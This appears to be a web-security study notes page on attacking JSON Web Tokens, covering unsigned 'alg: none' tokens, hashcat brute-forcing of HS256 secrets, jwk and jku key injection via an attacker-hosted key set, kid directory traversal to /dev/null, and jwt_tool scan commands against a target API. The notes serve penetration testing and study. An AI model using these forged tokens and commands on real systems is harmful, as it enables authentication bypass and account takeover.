Skip to content

JWT

Accepting tokens with no signature

Description The JWT header contains an alg parameter. This tells the server which algorithm was used to sign the token and, therefore, which algorithm it needs to use when verifying the signature.

{ "alg": "HS256", "typ": "JWT" }
Attack JWTs can be signed using a range of different algorithms, but can also be left unsigned. In this case, the alg parameter is set to none, which indicates a so-called "unsecured JWT". Due to the obvious dangers of this, servers usually reject tokens with no signature. However, as this kind of filtering relies on string parsing, you can sometimes bypass these filters using classic obfuscation techniques, such as mixed capitalization and unexpected encodings.
{ "alg": "none", "typ": "JWT" }
- set alg to none - remove signature, new token pattern {header}.{body}. not {header}.{body}.{signature}

Brute-forcing secret keys

Description Some signing algorithms, such as HS256 (HMAC + SHA-256), use an arbitrary, standalone string as the secret key. Just like a password, it's crucial that this secret can't be easily guessed or brute-forced by an attacker. Otherwise, they may be able to create JWTs with any header and payload values they like, then use the key to re-sign the token with a valid signature. Attack

hashcat -a 0 -m 16500 <jwt> <wordlist>

JWT header parameter injections

According to the JWS specification, only the alg header parameter is mandatory. In practice, however, JWT headers often contain several other parameters. The following ones are of particular interest to attackers.

  • jwk (JSON Web Key) - Provides an embedded JSON object representing the key.
  • jku (JSON Web Key Set URL) - Provides a URL from which servers can fetch a set of keys containing the correct key.
  • kid (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Depending on the format of the key, this may have a matching kid parameter. As you can see, these user-controllable parameters each tell the recipient server which key to use when verifying the signature.

Injecting self-signed JWTs via the jwk parameter

Description The JSON Web Signature (JWS) specification describes an optional jwk header parameter, which servers can use to embed their public key directly within the token itself in JWK format.

Example of JWT header

{
   "kid":"1",
   "typ":"JWT",
   "alg":"RS256",
   "jwk":{
      "kty":"RSA",
      "e":"AQAB",
      "kid":"1",
      "n":"yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
   }
}

Vulnerability Ideally, servers should only use a limited whitelist of public keys to verify JWT signatures. However, misconfigured servers sometimes use any key that's embedded in the jwk parameter.

Attack You can exploit this behavior by signing a modified JWT using your own RSA private key, then embedding the matching public key in the jwk header.

Although you can manually add or modify the jwk parameter in Burp, the JWT Editor extension provides a useful feature to help you test for this vulnerability:

  1. With the extension loaded, in Burp's main tab bar, go to the JWT Editor Keys tab.
  2. Generate a new RSA key.
  3. Send a request containing a JWT to Burp Repeater.
  4. In the message editor, switch to the extension-generated JSON Web Token tab and modify the token's payload however you like.
  5. Click Attack, then select Embedded JWK. When prompted, select your newly generated RSA key.
  6. Send the request to test how the server responds.

You can also perform this attack manually by adding the jwk header yourself. However, you may also need to update the JWT's kid header parameter to match the kid of the embedded key. The extension's built-in attack takes care of this step for you.

Injecting self-signed JWTs via the jku parameter

Description Some servers let you use the jku (JWK Set URL) header parameter to reference a JWK Set containing the key. When verifying the signature, the server fetches the relevant key from this URL. Generete key with burp

{  
    "kty": "EC",  
    "d": "zWmvRLnrrnZqIpTF0vYhxMdm85kAPXU4y7z2EP_4ycM",  
    "crv": "P-256",  
    "kid": "1ac1ad23-070d-4f27-b24a-df09f66789a6",  
    "x": "ZMpGiXsKA8B9sUbyM50YuOG-HzyVSO3brmM0VzxPq0Y",  
    "y": "tcj4_rj-TMZi1OdBz8U9ymPJzDxVhMnAAFfAW79AVxM"  
}
Expose public part on hacker server http://michalszalkowski.com/.well-known/jwks.json
[
   {
      "kty":"EC",
      "crv":"P-256",
      "kid":"1ac1ad23-070d-4f27-b24a-df09f66789a6",
      "x":"ZMpGiXsKA8B9sUbyM50YuOG-HzyVSO3brmM0VzxPq0Y",
      "y":"tcj4_rj-TMZi1OdBz8U9ymPJzDxVhMnAAFfAW79AVxM"
   }
]
Modify JWT header
{  
    "kid": "1ac1ad23-070d-4f27-b24a-df09f66789a6",  
    "typ": "JWT",  
    "alg": "ES256",  
    "jku": "http://michalszalkowski.com/.well-known/jwks.json"  
}

Injecting self-signed JWTs via the kid parameter

Description Servers may use several cryptographic keys for signing different kinds of data, not just JWTs. For this reason, the header of a JWT may contain a kid (Key ID) parameter, which helps the server identify which key to use when verifying the signature.

Verification keys are often stored as a JWK Set. In this case, the server may simply look for the JWK with the same kid as the token. However, the JWS specification doesn't define a concrete structure for this ID - it's just an arbitrary string of the developer's choosing. For example, they might use the kid parameter to point to a particular entry in a database, or even the name of a file.

Vulnerability If this parameter is also vulnerable to directory traversal, an attacker could potentially force the server to use an arbitrary file from its filesystem as the verification key.

{
   "kid":"../../path/to/file",
   "typ":"JWT",
   "alg":"HS256",
   "k":"asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}

Attack This is especially dangerous if the server also supports JWTs signed using a symmetric algorithm. In this case, an attacker could potentially point the kid parameter to a predictable, static file, then sign the JWT using a secret that matches the contents of this file.

You could theoretically do this with any file, but one of the simplest methods is to use /dev/null, which is present on most Linux systems. As this is an empty file, fetching it returns null. Therefore, signing the token with a Base64-encoded null byte will result in a valid signature.

{
   "kid":"/dev/null",
   "typ":"JWT",
   "alg":"HS256",
   "k":"bnVsbA=="
}

JWTtool

Run jwt_tool with mode All Tests! and wait for green lines

python3 jwt_tool.py -M at \
    -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
    -rh "Authorization: Bearer <JWT Token>" -np
If you are lucky the tool will find some case where the web application is correctly checking the JWT. Then, you can search the request in your proxy or dump the used JWT for that request using jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Source

  • https://portswigger.net/web-security/jwt
  • https://portswigger.net/web-security/jwt/working-with-jwts-in-burp-suite#adding-new-signing-keys
  • https://github.com/ticarpi/jwt_tool